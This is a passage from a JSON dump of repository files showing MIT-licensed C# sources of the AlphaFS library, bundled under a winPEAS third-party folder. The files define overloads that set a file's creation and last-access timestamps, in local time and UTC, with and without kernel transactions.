    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets the date and time the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the file was created.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
